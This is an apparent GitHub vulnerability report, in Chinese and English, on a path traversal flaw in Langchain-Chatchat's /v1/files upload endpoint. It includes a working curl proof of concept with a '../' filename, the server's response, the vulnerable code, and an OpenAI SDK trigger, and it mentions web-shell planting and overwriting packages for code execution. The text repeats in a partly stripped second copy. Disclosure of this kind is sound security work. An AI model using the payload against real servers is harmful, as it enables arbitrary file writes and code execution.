问题描述 / Problem Description
Langchain-Chatchat 的 OpenAI 兼容文件上传接口 /v1/files 存在路径遍历漏洞。攻击者可以通过构造恶意文件名,将文件写入到 openai_files 目录之外的任意位置。
漏洞类型: 路径遍历 (Path Traversal)
CVSS评分: 9.1 (Critical)
影响范围: 任意文件写入
复现问题的步骤 / Steps to Reproduce
-
启动 Langchain-Chatchat 服务
-
使用 OpenAI 兼容 API 上传文件,文件名包含路径遍历:
curl -X POST "http://127.0.0.1:7861/v1/files" \
-F "purpose=assistants" \
-F "file=@test.txt;filename=../../../../../malicious.txt"
-
观察文件被写入到运行时根目录
-
服务器返回成功响应,文件已逃逸预期目录
预期的结果 / Expected Result
- 文件应该被写入到
{DATA_PATH}/openai_files/assistants/{date}/ 目录下
- 文件名应该经过路径规范化
- 包含
.. 的文件名应该被拒绝或清理
实际结果 / Actual Result
-
文件被写入
-
成功逃逸了 openai_files 子树
-
服务器返回 HTTP 200 成功响应:
{
"id": "YXNzaXN0YW50cy8yMDI2LTA0LTEyLy4uLy4uLy4uLy4uLy4uL29wZW5haS1maWxlcy1lc2NhcGUudHh0",
"filename": "../../../../../openai-files-escape.txt",
"bytes": 58,
"created_at": 1776004764,
"object": "file",
"purpose": "assistants"
}
漏洞根因 / Root Cause
受影响文件: libs/chatchat-server/chatchat/server/api_server/openai_routes.py:270
受影响函数: files (POST handler)
该函数直接使用用户提供的文件名构造路径,未进行边界检查:
@router.post("/v1/files")
async def files(
file: UploadFile = File(...),
purpose: str = Form(...)
):
filename = file.filename # 直接使用用户输入
file_path = os.path.join(base_dir, purpose, date_str, filename) # 未检查边界
# ... 写入文件
安全影响 / Security Impact
严重性: CRITICAL
- 任意文件写入: 攻击者可以覆盖服务器上的任意文件
- OpenAI API 兼容性风险: 使用 OpenAI SDK 的客户端可能无意中触发此漏洞
- 持久化攻击: 可以在系统关键位置植入恶意文件
- 数据泄露: 可以将文件写入 Web 可访问目录
攻击场景示例:
- 使用官方 OpenAI Python SDK 上传文件时触发漏洞
- 覆盖 Python 包文件实现代码执行
- 在静态文件目录植入 Web Shell
- 响应中的
filename 字段甚至保留了原始的恶意路径
环境信息 / Environment Information
- Langchain-Chatchat 版本 / commit 号: Latest (commit from 2026-04-12)
- 部署方式(pypi 安装 / 源码部署 / docker 部署):- 源码部署 / dev deployment
- 使用的模型推理框架(Xinference / Ollama / OpenAI API 等):OpenAI API
- 使用的 LLM 模型(GLM-4-9B / Qwen2-7B-Instruct 等):
- 使用的 Embedding 模型(bge-large-zh-v1.5 / m3e-base 等):bge-large-zh-v1.5
- 使用的向量库类型 (faiss / milvus / pg_vector 等): faiss / Vector library used (faiss, milvus, pg_vector, etc.): faiss
- 操作系统及版本 / Operating system and version: Windows
- Python 版本 / Python version: 3.8
- 推理使用的硬件(GPU / CPU / MPS / NPU 等) / Inference hardware (GPU / CPU / MPS / NPU, etc.): GPU
- 其他相关环境信息 / Other relevant environment information:
附加信息 / Additional Information
OpenAI SDK 兼容性风险:
# 使用官方 OpenAI SDK 可能触发此漏洞
from openai import OpenAI
client = OpenAI(base_url="http://localhost:7861/v1")
client.files.create(
file=open("../../../../../malicious.txt", "rb"),
purpose="assistants"
)
验证证据:
- 文件系统副作用证明
- 响应中的
filename 字段未经清理,直接返回恶意路径
跨平台影响:
- Windows: 使用
..\\ 或 ../
- Linux/Unix: 使用
../
- 两种路径分隔符都可能生效
问题描述 / Problem Description
Langchain-Chatchat 的 OpenAI 兼容文件上传接口
/v1/files存在路径遍历漏洞。攻击者可以通过构造恶意文件名,将文件写入到openai_files目录之外的任意位置。漏洞类型: 路径遍历 (Path Traversal)
CVSS评分: 9.1 (Critical)
影响范围: 任意文件写入
复现问题的步骤 / Steps to Reproduce
启动 Langchain-Chatchat 服务
使用 OpenAI 兼容 API 上传文件,文件名包含路径遍历:
观察文件被写入到运行时根目录
服务器返回成功响应,文件已逃逸预期目录
预期的结果 / Expected Result
{DATA_PATH}/openai_files/assistants/{date}/目录下..的文件名应该被拒绝或清理实际结果 / Actual Result
文件被写入
成功逃逸了
openai_files子树服务器返回 HTTP 200 成功响应:
{ "id": "YXNzaXN0YW50cy8yMDI2LTA0LTEyLy4uLy4uLy4uLy4uLy4uL29wZW5haS1maWxlcy1lc2NhcGUudHh0", "filename": "../../../../../openai-files-escape.txt", "bytes": 58, "created_at": 1776004764, "object": "file", "purpose": "assistants" }漏洞根因 / Root Cause
受影响文件:
libs/chatchat-server/chatchat/server/api_server/openai_routes.py:270受影响函数:
files(POST handler)该函数直接使用用户提供的文件名构造路径,未进行边界检查:
安全影响 / Security Impact
严重性: CRITICAL
攻击场景示例:
filename字段甚至保留了原始的恶意路径环境信息 / Environment Information
附加信息 / Additional Information
OpenAI SDK 兼容性风险:
验证证据:
filename字段未经清理,直接返回恶意路径跨平台影响:
..\\或../../